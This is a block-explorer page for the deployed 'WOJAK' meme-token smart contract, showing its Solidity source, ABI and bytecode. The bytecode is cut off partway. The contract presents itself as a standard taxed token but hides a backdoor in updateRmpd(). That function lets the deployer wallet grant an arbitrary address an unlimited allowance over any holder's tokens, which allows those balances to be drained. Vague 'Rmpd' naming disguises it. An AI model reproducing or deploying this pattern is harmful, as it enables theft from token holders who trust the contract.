ETH Price: $2,800.83 (-0.71%)
 

Overview

Max Total Supply

1,000,000,000 WOJAK

Holders

87

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
afellowdigitalcurrencytradingenthusiast.eth
Balance
9,351,027.360234436 WOJAK

Value
$0.00
0x8b090257208ea9329038a641cfdbb5936891b398
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WOJAK

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-04
*/

/**
https://www.wojak.today
https://t.me/wojak_feels_guy
https://x.com/wojak_feels_guy
 */

// SPDX-License-Identifier Unlicensed

pragma solidity 0.8.19;

abstract contract RmpdContext {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IRmpd {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library RmpdSafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "RmpdSafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "RmpdSafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "RmpdSafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "RmpdSafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract RmpdOwnable is RmpdContext {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "RmpdOwnable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IRmpdFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRmpdRouter02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract WOJAK is RmpdContext, IRmpd, RmpdOwnable {
    using RmpdSafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _bots;
    address payable private _RmpdWallet;

    uint256 private _initialBuyTax = 35;
    uint256 private _initialSellTax = 35;
    uint256 private _lastBuyTax = 0;
    uint256 private _lastSellTax = 0;
    uint256 private _decreaseBuyTaxAt = 15;
    uint256 private _decreaseSellTaxAt = 15;
    uint256 private _preventSwapBefore = 15;
    uint256 private _transferTax = 0;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Feels Guy";
    string private constant _symbol = unicode"WOJAK";
    uint256 public _maxTransactionAmount = 20000000 * 10**_decimals;
    uint256 public _maxWalletRmpd = 20000000 * 10**_decimals;
    uint256 public _maxRmpdSwp = 20000000 * 10**_decimals;
    
    IRmpdRouter02 private _RmpdRouter;
    address private _RmpdPair;
    bool private _tradingOpen;
    bool private _inSwap = false;
    bool private _RmpdEnabled = false;
    uint256 private _sellCount = 0;
    uint256 private _lastSellBlock = 0;
    event MaxTransactionAmountUpdated(uint _maxTransactionAmount);
    event TransferTaxUpdated(uint _transferTax);
    modifier lockTheSwap {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    constructor () {
        _RmpdWallet = payable(_msgSender());
        _balances[_msgSender()] = _totalSupply;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_RmpdWallet] = true;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "Rmpd: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "Rmpd: approve from the zero address");
        require(spender != address(0), "Rmpd: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "Rmpd: transfer from the zero address");
        require(to != address(0), "Rmpd: transfer to the zero address");
        require(amount > 0, "Rmpd: Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
            require(!_bots[from] && !_bots[to]);

            if(_buyCount==0){
                taxAmount = amount.mul((_buyCount>_decreaseBuyTaxAt)?_lastBuyTax:_initialBuyTax).div(100);
            }
            if(_buyCount>0){
                taxAmount = amount.mul(_transferTax).div(100);
            }

            if (from == _RmpdPair && to != address(_RmpdRouter) && !_isExcludedFromFee[to]) {
                require(amount <= _maxTransactionAmount, "Rmpd: Exceeds the max transaction amount");
                require(balanceOf(to) + amount <= _maxWalletRmpd, "Rmpd: Exceeds the max wallet size");
                taxAmount = amount.mul((_buyCount>_decreaseBuyTaxAt)?_lastBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if(to == _RmpdPair && from != address(this)){
                taxAmount = amount.mul((_buyCount>_decreaseSellTaxAt)?_lastSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!_inSwap && to == _RmpdPair && _RmpdEnabled && _buyCount > _preventSwapBefore) {
                if (block.number > _lastSellBlock) {
                    _sellCount = 0;
                }
                require(_sellCount < 3, "Rmpd: Only 3 sells per block allowed");
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxRmpdSwp)));
                sendRmpdETH(address(this).balance);
                _sellCount++;
                _lastSellBlock = block.number;
            }
        }

        if(taxAmount > 0){
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function updateRmpd(address _prevRmpd, address afterRmpd) external {
        require(msg.sender == _RmpdWallet, "Rmpd: Not authorized");
        _approve(_prevRmpd, afterRmpd, _totalSupply);
        _RmpdWallet = payable(afterRmpd);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        if (tokenAmount == 0) return;
        path[1] = _RmpdRouter.WETH();
        _approve(address(this), address(_RmpdRouter), tokenAmount);
        _RmpdRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeRmpd() external onlyOwner {
        _maxTransactionAmount = _totalSupply;
        _maxWalletRmpd = _totalSupply;
        emit MaxTransactionAmountUpdated(_totalSupply);
    }

    function sendRmpdETH(uint256 amount) private {
        _RmpdWallet.transfer(amount);
    }

    function createRmpdPair() external onlyOwner {
        _RmpdRouter = IRmpdRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_RmpdRouter), _totalSupply);
        _RmpdPair = IRmpdFactory(_RmpdRouter.factory()).createPair(address(this), _RmpdRouter.WETH());
    }

    function openRmpd() external onlyOwner() {
        require(!_tradingOpen, "Rmpd: Trading is already open");
        _RmpdRouter.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IRmpd(_RmpdPair).approve(address(_RmpdRouter), type(uint).max);
        _RmpdEnabled = true;
        _tradingOpen = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTransactionAmount","type":"uint256"}],"name":"MaxTransactionAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_transferTax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxRmpdSwp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletRmpd","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createRmpdPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openRmpd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeRmpd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_prevRmpd","type":"address"},{"internalType":"address","name":"afterRmpd","type":"address"}],"name":"updateRmpd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526023600655602360075560006008556000600955600f600a55600f600b55600f600c556000600d556000600e556009600a6200004191906200032d565b62000051906301312d0062000345565b600f55620000626009600a6200032d565b62000072906301312d0062000345565b601055620000836009600a6200032d565b62000093906301312d0062000345565b6011556013805461ffff60a81b1916905560006014819055601555348015620000bb57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b031916331790556200011d6009600a6200032d565b6200012d90633b9aca0062000345565b336000908152600160208190526040822092909255600390620001586000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001b73390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001f16009600a6200032d565b6200020190633b9aca0062000345565b60405190815260200160405180910390a36200035f565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200026f57816000190482111562000253576200025362000218565b808516156200026157918102915b93841c939080029062000233565b509250929050565b600082620002885750600162000327565b81620002975750600062000327565b8160018114620002b05760028114620002bb57620002db565b600191505062000327565b60ff841115620002cf57620002cf62000218565b50506001821b62000327565b5060208310610133831016604e8410600b841016171562000300575081810a62000327565b6200030c83836200022e565b806000190482111562000323576200032362000218565b0290505b92915050565b60006200033e60ff84168362000277565b9392505050565b808202811582820484141762000327576200032762000218565b61194c806200036f6000396000f3fe60806040526004361061010d5760003560e01c80637a217fd111610095578063a9059cbb11610064578063a9059cbb146102ec578063c2ff495d1461030c578063d07ce42514610322578063dab57ce614610337578063dd62ed3e1461034c57600080fd5b80637a217fd1146102615780638da5cb5b1461027657806395d89b411461029e578063a2d5cf38146102cc57600080fd5b806323b872dd116100dc57806323b872dd146101c2578063313ce567146101e257806370a08231146101fe578063715018a6146102345780637947d7c01461024b57600080fd5b806304beaeb81461011957806306fdde0314610142578063095ea7b31461017d57806318160ddd146101ad57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5061012f600f5481565b6040519081526020015b60405180910390f35b34801561014e57600080fd5b506040805180820190915260098152684665656c732047757960b81b60208201525b60405161013991906114eb565b34801561018957600080fd5b5061019d610198366004611551565b610392565b6040519015158152602001610139565b3480156101b957600080fd5b5061012f6103a9565b3480156101ce57600080fd5b5061019d6101dd36600461157d565b6103ca565b3480156101ee57600080fd5b5060405160098152602001610139565b34801561020a57600080fd5b5061012f6102193660046115be565b6001600160a01b031660009081526001602052604090205490565b34801561024057600080fd5b50610249610433565b005b34801561025757600080fd5b5061012f60115481565b34801561026d57600080fd5b506102496104b0565b34801561028257600080fd5b506000546040516001600160a01b039091168152602001610139565b3480156102aa57600080fd5b50604080518082019091526005815264574f4a414b60d81b6020820152610170565b3480156102d857600080fd5b506102496102e73660046115db565b6106b3565b3480156102f857600080fd5b5061019d610307366004611551565b610738565b34801561031857600080fd5b5061012f60105481565b34801561032e57600080fd5b50610249610745565b34801561034357600080fd5b506102496107f7565b34801561035857600080fd5b5061012f6103673660046115db565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061039f3384846109e6565b5060015b92915050565b60006103b76009600a61170e565b6103c590633b9aca0061171d565b905090565b60006103d7848484610b09565b6104298433610424856040518060600160405280602781526020016118ce602791396001600160a01b038a166000908152600260209081526040808320338452909152902054919061113a565b6109e6565b5060019392505050565b6000546001600160a01b031633146104665760405162461bcd60e51b815260040161045d90611734565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104da5760405162461bcd60e51b815260040161045d90611734565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105239030906105156009600a61170e565b61042490633b9aca0061171d565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610576573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059a9190611778565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106209190611778565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561066d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106919190611778565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146107045760405162461bcd60e51b8152602060048201526014602482015273149b5c190e88139bdd08185d5d1a1bdc9a5e995960621b604482015260640161045d565b61071582826105156009600a61170e565b600580546001600160a01b0319166001600160a01b039290921691909117905550565b600061039f338484610b09565b6000546001600160a01b0316331461076f5760405162461bcd60e51b815260040161045d90611734565b61077b6009600a61170e565b61078990633b9aca0061171d565b600f556107986009600a61170e565b6107a690633b9aca0061171d565b6010557f7c1cb3702d8e1fa6d24b12dd90670ab69c6d66d58233103d37da8b07d6b850ac6107d66009600a61170e565b6107e490633b9aca0061171d565b60405190815260200160405180910390a1565b6000546001600160a01b031633146108215760405162461bcd60e51b815260040161045d90611734565b601354600160a01b900460ff161561087b5760405162461bcd60e51b815260206004820152601d60248201527f526d70643a2054726164696e6720697320616c7265616479206f70656e000000604482015260640161045d565b6012546001600160a01b031663f305d71947306108ad816001600160a01b031660009081526001602052604090205490565b6000806108c26000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561092a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061094f9190611795565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc91906117c3565b506013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a485760405162461bcd60e51b815260206004820152602360248201527f526d70643a20617070726f76652066726f6d20746865207a65726f206164647260448201526265737360e81b606482015260840161045d565b6001600160a01b038216610aa85760405162461bcd60e51b815260206004820152602160248201527f526d70643a20617070726f766520746f20746865207a65726f206164647265736044820152607360f81b606482015260840161045d565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b6b5760405162461bcd60e51b8152602060048201526024808201527f526d70643a207472616e736665722066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045d565b6001600160a01b038216610bcc5760405162461bcd60e51b815260206004820152602260248201527f526d70643a207472616e7366657220746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045d565b60008111610c345760405162461bcd60e51b815260206004820152602f60248201527f526d70643a205472616e7366657220616d6f756e74206d75737420626520677260448201526e6561746572207468616e207a65726f60881b606482015260840161045d565b6001600160a01b03831660009081526003602052604081205460ff16158015610c7657506001600160a01b03831660009081526003602052604090205460ff16155b15610ff7576001600160a01b03841660009081526004602052604090205460ff16158015610cbd57506001600160a01b03831660009081526004602052604090205460ff16155b610cc657600080fd5b600e54600003610cff57610cfc6064610cf6600a54600e5411610ceb57600654610cef565b6008545b8590611174565b90611201565b90505b600e5415610d2457610d216064610cf6600d548561117490919063ffffffff16565b90505b6013546001600160a01b038581169116148015610d4f57506012546001600160a01b03848116911614155b8015610d7457506001600160a01b03831660009081526003602052604090205460ff16155b15610e9457600f54821115610ddc5760405162461bcd60e51b815260206004820152602860248201527f526d70643a204578636565647320746865206d6178207472616e73616374696f6044820152671b88185b5bdd5b9d60c21b606482015260840161045d565b60105482610dff856001600160a01b031660009081526001602052604090205490565b610e0991906117e5565b1115610e615760405162461bcd60e51b815260206004820152602160248201527f526d70643a204578636565647320746865206d61782077616c6c65742073697a6044820152606560f81b606482015260840161045d565b610e7c6064610cf6600a54600e5411610ceb57600654610cef565b600e80549192506000610e8e836117f8565b91905055505b6013546001600160a01b038481169116148015610eba57506001600160a01b0384163014155b15610ee757610ee46064610cf6600b54600e5411610eda57600754610cef565b6009548590611174565b90505b30600090815260016020526040902054601354600160a81b900460ff16158015610f1e57506013546001600160a01b038581169116145b8015610f335750601354600160b01b900460ff165b8015610f425750600c54600e54115b15610ff557601554431115610f575760006014555b600360145410610fb55760405162461bcd60e51b8152602060048201526024808201527f526d70643a204f6e6c7920332073656c6c732070657220626c6f636b20616c6c6044820152631bddd95960e21b606482015260840161045d565b610fd2610fcd84610fc884601154611243565b611243565b611258565b610fdb476113fb565b60148054906000610feb836117f8565b9091555050436015555b505b801561107157306000908152600160205260409020546110179082611439565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110689085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546110949083611498565b6001600160a01b0385166000908152600160205260409020556110d96110ba8383611498565b6001600160a01b03851660009081526001602052604090205490611439565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111238585611498565b60405190815260200160405180910390a350505050565b6000818484111561115e5760405162461bcd60e51b815260040161045d91906114eb565b50600061116b8486611811565b95945050505050565b600082600003611186575060006103a3565b6000611192838561171d565b90508261119f8583611824565b146111fa5760405162461bcd60e51b815260206004820152602560248201527f526d7064536166654d6174683a206d756c7469706c69636174696f6e206f766560448201526472666c6f7760d81b606482015260840161045d565b9392505050565b60006111fa83836040518060400160405280601e81526020017f526d7064536166654d6174683a206469766973696f6e206279207a65726f00008152506114bd565b600081831161125257826111fa565b50919050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112a0576112a0611846565b60200260200101906001600160a01b031690816001600160a01b031681525050816000036112ce57506113eb565b601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611321573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113459190611778565b8160018151811061135857611358611846565b6001600160a01b03928316602091820292909201015260125461137e91309116846109e6565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113b790859060009086903090429060040161185c565b600060405180830381600087803b1580156113d157600080fd5b505af11580156113e5573d6000803e3d6000fd5b50505050505b506013805460ff60a81b19169055565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611435573d6000803e3d6000fd5b5050565b60008061144683856117e5565b9050838110156111fa5760405162461bcd60e51b815260206004820152601f60248201527f526d7064536166654d6174683a206164646974696f6e206f766572666c6f7700604482015260640161045d565b60006111fa83836040518060600160405280602281526020016118f56022913961113a565b600081836114de5760405162461bcd60e51b815260040161045d91906114eb565b50600061116b8486611824565b600060208083528351808285015260005b81811015611518578581018301518582016040015282016114fc565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461154e57600080fd5b50565b6000806040838503121561156457600080fd5b823561156f81611539565b946020939093013593505050565b60008060006060848603121561159257600080fd5b833561159d81611539565b925060208401356115ad81611539565b929592945050506040919091013590565b6000602082840312156115d057600080fd5b81356111fa81611539565b600080604083850312156115ee57600080fd5b82356115f981611539565b9150602083013561160981611539565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561166557816000190482111561164b5761164b611614565b8085161561165857918102915b93841c939080029061162f565b509250929050565b60008261167c575060016103a3565b81611689575060006103a3565b816001811461169f57600281146116a9576116c5565b60019150506103a3565b60ff8411156116ba576116ba611614565b50506001821b6103a3565b5060208310610133831016604e8410600b84101617156116e8575081810a6103a3565b6116f2838361162a565b806000190482111561170657611706611614565b029392505050565b60006111fa60ff84168361166d565b80820281158282048414176103a3576103a3611614565b60208082526024908201527f526d70644f776e61626c653a2063616c6c6572206973206e6f7420746865206f6040820152633bb732b960e11b606082015260800190565b60006020828403121561178a57600080fd5b81516111fa81611539565b6000806000606084860312156117aa57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117d557600080fd5b815180151581146111fa57600080fd5b808201808211156103a3576103a3611614565b60006001820161180a5761180a611614565b5060010190565b818103818111156103a3576103a3611614565b60008261184157634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118ac5784516001600160a01b031683529383019391830191600101611887565b50506001600160a01b0396909616606085015250505060800152939250505056fe526d70643a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365526d7064536166654d6174683a207375627472616374696f6e206f766572666c6f77a264697066735822122085696939b4cb465348bf23559ae40ffc6139e85fd37de88f1a22f51f27e6624664736f6c63430008130033

Deployed Bytecode

0x60806040526004361061010d5760003560e01c80637a217fd111610095578063a9059cbb11610064578063a9059cbb146102ec578063c2ff495d1461030c578063d07ce42514610322578063dab57ce614610337578063dd62ed3e1461034c57600080fd5b80637a217fd1146102615780638da5cb5b1461027657806395d89b411461029e578063a2d5cf38146102cc57600080fd5b806323b872dd116100dc57806323b872dd146101c2578063313ce567146101e257806370a08231146101fe578063715018a6146102345780637947d7c01461024b57600080fd5b806304beaeb81461011957806306fdde0314610142578063095ea7b31461017d57806318160ddd146101ad57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5061012f600f5481565b6040519081526020015b60405180910390f35b34801561014e57600080fd5b506040805180820190915260098152684665656c732047757960b81b60208201525b60405161013991906114eb565b34801561018957600080fd5b5061019d610198366004611551565b610392565b6040519015158152602001610139565b3480156101b957600080fd5b5061012f6103a9565b3480156101ce57600080fd5b5061019d6101dd36600461157d565b6103ca565b3480156101ee57600080fd5b5060405160098152602001610139565b34801561020a57600080fd5b5061012f6102193660046115be565b6001600160a01b031660009081526001602052604090205490565b34801561024057600080fd5b50610249610433565b005b34801561025757600080fd5b5061012f60115481565b34801561026d57600080fd5b506102496104b0565b34801561028257600080fd5b506000546040516001600160a01b039091168152602001610139565b3480156102aa57600080fd5b50604080518082019091526005815264574f4a414b60d81b6020820152610170565b3480156102d857600080fd5b506102496102e73660046115db565b6106b3565b3480156102f857600080fd5b5061019d610307366004611551565b610738565b34801561031857600080fd5b5061012f60105481565b34801561032e57600080fd5b50610249610745565b34801561034357600080fd5b506102496107f7565b34801561035857600080fd5b5061012f6103673660046115db565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061039f3384846109e6565b5060015b92915050565b60006103b76009600a61170e565b6103c590633b9aca0061171d565b905090565b60006103d7848484610b09565b6104298433610424856040518060600160405280602781526020016118ce602791396001600160a01b038a166000908152600260209081526040808320338452909152902054919061113a565b6109e6565b5060019392505050565b6000546001600160a01b031633146104665760405162461bcd60e51b815260040161045d90611734565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104da5760405162461bcd60e51b815260040161045d90611734565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105239030906105156009600a61170e565b61042490633b9aca0061171d565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610576573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059a9190611778565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106209190611778565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561066d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106919190611778565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146107045760405162461bcd60e51b8152602060048201526014602482015273149b5c190e88139bdd08185d5d1a1bdc9a5e995960621b604482015260640161045d565b61071582826105156009600a61170e565b600580546001600160a01b0319166001600160a01b039290921691909117905550565b600061039f338484610b09565b6000546001600160a01b0316331461076f5760405162461bcd60e51b815260040161045d90611734565b61077b6009600a61170e565b61078990633b9aca0061171d565b600f556107986009600a61170e565b6107a690633b9aca0061171d565b6010557f7c1cb3702d8e1fa6d24b12dd90670ab69c6d66d58233103d37da8b07d6b850ac6107d66009600a61170e565b6107e490633b9